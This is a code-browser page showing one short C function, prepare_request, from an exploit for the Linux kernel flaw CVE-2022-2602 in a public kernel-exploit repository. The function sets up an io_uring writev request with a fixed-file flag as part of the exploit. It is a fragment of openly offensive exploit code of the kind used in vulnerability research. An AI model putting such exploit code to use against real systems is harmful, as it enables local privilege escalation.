MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / prepare_request

Function prepare_request

CVE-2022-2602/exploit/exploit.c:110–119  ·  view source on GitHub ↗

prepare writev request

Source from the content-addressed store, hash-verified

108}
109// prepare writev request
110int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring) {
111 struct io_uring_sqe *sqe;
112 io_uring_queue_mmap(fd, params, ring);
113 sqe = io_uring_get_sqe(ring);
114 sqe->opcode = IORING_OP_WRITEV;
115 sqe->fd = 1;
116 sqe->addr = (long) iov;
117 sqe->len = 1;
118 sqe->flags = IOSQE_FIXED_FILE;
119}
120
121int main(int argc, char **argv) {
122 pthread_t t;

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected